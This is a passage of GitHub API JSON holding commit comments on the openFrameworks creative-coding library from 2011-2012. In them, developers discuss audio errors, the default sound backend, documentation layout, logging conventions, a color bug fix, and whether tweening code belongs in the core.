\r\n`OF: OF_LOG_ERROR: PortAudio error: Invalid device`\r\n`OF: OF_LOG_ERROR: PortAudio error: Invalid stream pointer`\r\nInputexample: Same behaviour.\r\n\r\n`lspci | grep Audio`\r\n`00:05.0 Audio device: nVidia Corporation MCP61 High Definition Audio (rev a2)`"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/487223","html_url":"https://github.com/openframeworks/openFrameworks/commit/99caa1fa2c67709fd9be4497585873ccf69ff7da#commitcomment-487223","id":487223,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"99caa1fa2c67709fd9be4497585873ccf69ff7da","created_at":"2011-07-20T15:17:03Z","updated_at":"2011-07-20T15:17:03Z","body":"in general it's a good idea to keep the declaration in the\nimplementation file if it's something that you only need in that file.\n\nin the future if we find it's important to use it outside of\nofTexture.cpp we could move it back out though.\n\nOn Wed, Jul 20, 2011 at 3:40 AM, bilderbuchi\n\nwrote:\n> does that make sense? declarations in an implementation file? I'd find it more confusing now... ;-)\n>\n> --\n> Reply to this email directly or view it on GitHub:\n> https://github.com/openframeworks/openFrameworks/commit/99caa1fa2c67709fd9be4497585873ccf69ff7da#commitcomment-486670\n>"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/487351","html_url":"https://github.com/openframeworks/openFrameworks/commit/99caa1fa2c67709fd9be4497585873ccf69ff7da#commitcomment-487351","id":487351,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"99caa1fa2c67709fd9be4497585873ccf69ff7da","created_at":"2011-07-20T16:28:58Z","updated_at":"2011-07-20T16:28:58Z","body":"ah ic, thanks."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/487773","html_url":"https://github.com/openframeworks/openFrameworks/commit/5837026ae8abea30cc9f70954fd24aa947e8f6b1#commitcomment-487773","id":487773,"user":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following{/other_user}","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5837026ae8abea30cc9f70954fd24aa947e8f6b1","created_at":"2011-07-20T19:52:53Z","updated_at":"2011-07-20T19:52:53Z","body":"Default is OpenAL now? That's great. Thanks!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/487778","html_url":"https://github.com/openframeworks/openFrameworks/commit/5837026ae8abea30cc9f70954fd24aa947e8f6b1#commitcomment-487778","id":487778,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5837026ae8abea30cc9f70954fd24aa947e8f6b1","created_at":"2011-07-20T19:55:51Z","updated_at":"2011-07-20T19:55:51Z","body":": ) yeah it's been for a while, just left the libs for bw compatibility\r\nand in case someone wants to use it. only linux by now though\r\n\r\nEl mié, 20-07-2011 a las 12:52 -0700, underdoeg escribió: \r\n> Default is OpenAL now? That's great. Thanks!\r\n> "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/487796","html_url":"https://github.com/openframeworks/openFrameworks/commit/5837026ae8abea30cc9f70954fd24aa947e8f6b1#commitcomment-487796","id":487796,"user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following{/other_user}","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5837026ae8abea30cc9f70954fd24aa947e8f6b1","created_at":"2011-07-20T20:14:05Z","updated_at":"2011-07-20T20:14:05Z","body":"wooohhhoooo!!!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/488382","html_url":"https://github.com/openframeworks/openFrameworks/commit/e2474a27e15592dfcae2cea6ffe805b76672a5e8#commitcomment-488382","id":488382,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e2474a27e15592dfcae2cea6ffe805b76672a5e8","created_at":"2011-07-21T03:34:20Z","updated_at":"2011-07-21T03:34:44Z","body":"awesome, thanks for the corrections and clarifications. if the newlines didn't make sense, it was because the -----s made me assume things were formatted to wrap at 80 chars.\r\n\r\nediting this made me realize:\r\n\r\n1 there is a lot of stuff that is cross platform advice that doesn't really \"live\" anywhere (e.g., \"release/debug\" explanation should live in an faq.txt)\r\n2 the OF documentation is kind of poorly organized :( do you read the readme? or do you go to the website? or the forums? how much detail should be in the readme? etc.\r\n\r\ni'd love to help start answering these questions with the next few releases, aimed more at cleaning up, explaining + demoing/making examples of what exists."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/488386","html_url":"https://github.com/openframeworks/openFrameworks/commit/e2474a27e15592dfcae2cea6ffe805b76672a5e8#commitcomment-488386","id":488386,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e2474a27e15592dfcae2cea6ffe805b76672a5e8","created_at":"2011-07-21T03:44:07Z","updated_at":"2011-07-21T03:44:07Z","body":"good points! \r\na readme.txt with ( or combined with ) a readme.platform file would be good. \r\n\r\nmost important we need new examples - we have the 1990s of examples at the moment :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/488580","html_url":"https://github.com/openframeworks/openFrameworks/commit/e2474a27e15592dfcae2cea6ffe805b76672a5e8#commitcomment-488580","id":488580,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e2474a27e15592dfcae2cea6ffe805b76672a5e8","created_at":"2011-07-21T07:36:24Z","updated_at":"2011-07-21T07:36:24Z","body":"maybe a folder \"documentation\" in OF_ROOT would make sense to collect the info which is sprinkled everywhere?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/488736","html_url":"https://github.com/openframeworks/openFrameworks/commit/e2474a27e15592dfcae2cea6ffe805b76672a5e8#commitcomment-488736","id":488736,"user":{"login":"gwydionapdafydd","id":649628,"avatar_url":"https://secure.gravatar.com/avatar/72620270b0d72c728e6948bb3c783774?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"72620270b0d72c728e6948bb3c783774","url":"https://api.github.com/users/gwydionapdafydd","html_url":"https://github.com/gwydionapdafydd","followers_url":"https://api.github.com/users/gwydionapdafydd/followers","following_url":"https://api.github.com/users/gwydionapdafydd/following{/other_user}","gists_url":"https://api.github.com/users/gwydionapdafydd/gists{/gist_id}","starred_url":"https://api.github.com/users/gwydionapdafydd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gwydionapdafydd/subscriptions","organizations_url":"https://api.github.com/users/gwydionapdafydd/orgs","repos_url":"https://api.github.com/users/gwydionapdafydd/repos","events_url":"https://api.github.com/users/gwydionapdafydd/events{/privacy}","received_events_url":"https://api.github.com/users/gwydionapdafydd/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"e2474a27e15592dfcae2cea6ffe805b76672a5e8","created_at":"2011-07-21T09:42:38Z","updated_at":"2011-07-21T09:42:38Z","body":"1. Out of the box, with OF projects in Xcode the base SDK setting is missing - worth brief explanation in this readme?\r\n2. Worth pointing to the latest info on autogenerated project files?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/543263","html_url":"https://github.com/openframeworks/openFrameworks/commit/a6d738aeb54b7d0b27351ba578f0e22a0f8d50bd#commitcomment-543263","id":543263,"user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"a6d738aeb54b7d0b27351ba578f0e22a0f8d50bd","created_at":"2011-08-21T21:31:18Z","updated_at":"2011-08-21T21:31:18Z","body":"Thank you!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/615902","html_url":"https://github.com/openframeworks/openFrameworks/commit/b9100146effba1ea53f8e6a8119ca6491d8d9e13#commitcomment-615902","id":615902,"user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"b9100146effba1ea53f8e6a8119ca6491d8d9e13","created_at":"2011-09-28T01:19:06Z","updated_at":"2011-09-28T01:19:06Z","body":"There should not be an automatic space on the ofLog ostream operator! This is against the cout/cerr convention that ofLog is modeled after."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/688194","html_url":"https://github.com/openframeworks/openFrameworks/commit/6b28853d93c805459d94fee4d341b66d2832586b#commitcomment-688194","id":688194,"user":{"login":"atduskgreg","id":165,"avatar_url":"https://secure.gravatar.com/avatar/2f4faa539dc6a0ae688e58d6a329fce9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2f4faa539dc6a0ae688e58d6a329fce9","url":"https://api.github.com/users/atduskgreg","html_url":"https://github.com/atduskgreg","followers_url":"https://api.github.com/users/atduskgreg/followers","following_url":"https://api.github.com/users/atduskgreg/following{/other_user}","gists_url":"https://api.github.com/users/atduskgreg/gists{/gist_id}","starred_url":"https://api.github.com/users/atduskgreg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/atduskgreg/subscriptions","organizations_url":"https://api.github.com/users/atduskgreg/orgs","repos_url":"https://api.github.com/users/atduskgreg/repos","events_url":"https://api.github.com/users/atduskgreg/events{/privacy}","received_events_url":"https://api.github.com/users/atduskgreg/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6b28853d93c805459d94fee4d341b66d2832586b","created_at":"2011-11-01T17:24:01Z","updated_at":"2011-11-01T17:24:01Z","body":"Yay! It's merged. Thanks, Theo. Talking to James about it, he suggested adding another version of the static function on ofPolyline that would take a vector of ofPoints just like ofInsidePoly(). I'll add that and send it your way."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/726315","html_url":"https://github.com/openframeworks/openFrameworks/commit/a3fdd1623b015cc333d0ab774bee52ce05922da2#commitcomment-726315","id":726315,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"a3fdd1623b015cc333d0ab774bee52ce05922da2","created_at":"2011-11-17T00:18:15Z","updated_at":"2011-11-17T00:18:15Z","body":"@ arturoc I think your missing the i + 0 and i + 2 in this commit . \r\nseems to be causing color issues: https://github.com/openframeworks/openFrameworks/issues/812"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/726556","html_url":"https://github.com/openframeworks/openFrameworks/commit/a3fdd1623b015cc333d0ab774bee52ce05922da2#commitcomment-726556","id":726556,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"a3fdd1623b015cc333d0ab774bee52ce05922da2","created_at":"2011-11-17T03:26:59Z","updated_at":"2011-11-17T03:26:59Z","body":"oops, thanks, fixed\n\nOn 17/11/11 01:18, Theodore Watson wrote:\n> @ arturoc I think your missing the i + 0 and i + 2 in this commit .\n> seems to be causing color issues: https://github.com/openframeworks/openFrameworks/issues/812\n>\n> ---\n> Reply to this email directly or view it on GitHub:\n> https://github.com/openframeworks/openFrameworks/commit/a3fdd1623b015cc333d0ab774bee52ce05922da2#commitcomment-726315"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/868508","html_url":"https://github.com/openframeworks/openFrameworks/commit/bec6dd7149c0fe515fba0e8ccd3a7e3d69c5e267#commitcomment-868508","id":868508,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":4,"line":2,"path":"libs/openFrameworksCompiled/project/android/paths.make","commit_id":"bec6dd7149c0fe515fba0e8ccd3a7e3d69c5e267","created_at":"2012-01-15T12:35:35Z","updated_at":"2012-01-15T12:35:35Z","body":"hm, @arturoc, you sure it's correct to have paths from your machine in the make file?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/868662","html_url":"https://github.com/openframeworks/openFrameworks/commit/bec6dd7149c0fe515fba0e8ccd3a7e3d69c5e267#commitcomment-868662","id":868662,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":4,"line":2,"path":"libs/openFrameworksCompiled/project/android/paths.make","commit_id":"bec6dd7149c0fe515fba0e8ccd3a7e3d69c5e267","created_at":"2012-01-15T14:42:34Z","updated_at":"2012-01-15T14:42:34Z","body":"sure not : ) but i always commit that file by accident, it's ok cause you need to edit it when installing android anyway but it would be better with something generic."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/932623","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-932623","id":932623,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":38,"line":38,"path":"libs/openFrameworks/math/ofTween.h","commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T05:01:47Z","updated_at":"2012-02-04T05:01:47Z","body":"what does this line mean exactly?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/932624","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-932624","id":932624,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":44,"line":44,"path":"libs/openFrameworks/math/ofTween.h","commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T05:02:19Z","updated_at":"2012-02-04T05:02:19Z","body":"all these static methods is a good argument for migrating big chunks of OF to namespaces."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/932853","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-932853","id":932853,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":38,"line":38,"path":"libs/openFrameworks/math/ofTween.h","commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T10:39:05Z","updated_at":"2012-02-04T10:39:05Z","body":"it's a typedef to the function pointer so later in ofMap the argument type can be specified as ofEasingFunction instead of the whole function pointer. also it'll make cleaner the autocomplete"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/932871","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-932871","id":932871,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T11:00:07Z","updated_at":"2012-02-04T11:00:47Z","body":"are we really sure we want tweening in the core of OF ?\r\n\r\nI know there's been 6 addons, but I think this speaks to how common the tween code is, how easy it is to write something like this, and how before ofxAddons we didn't have great ways of seeing what other had done. \r\n\r\nIt doesn't really feel to me like an essential part of the core (extremely useful functions or elements that can be extended on to make other things) and seems potentially more suited for a core 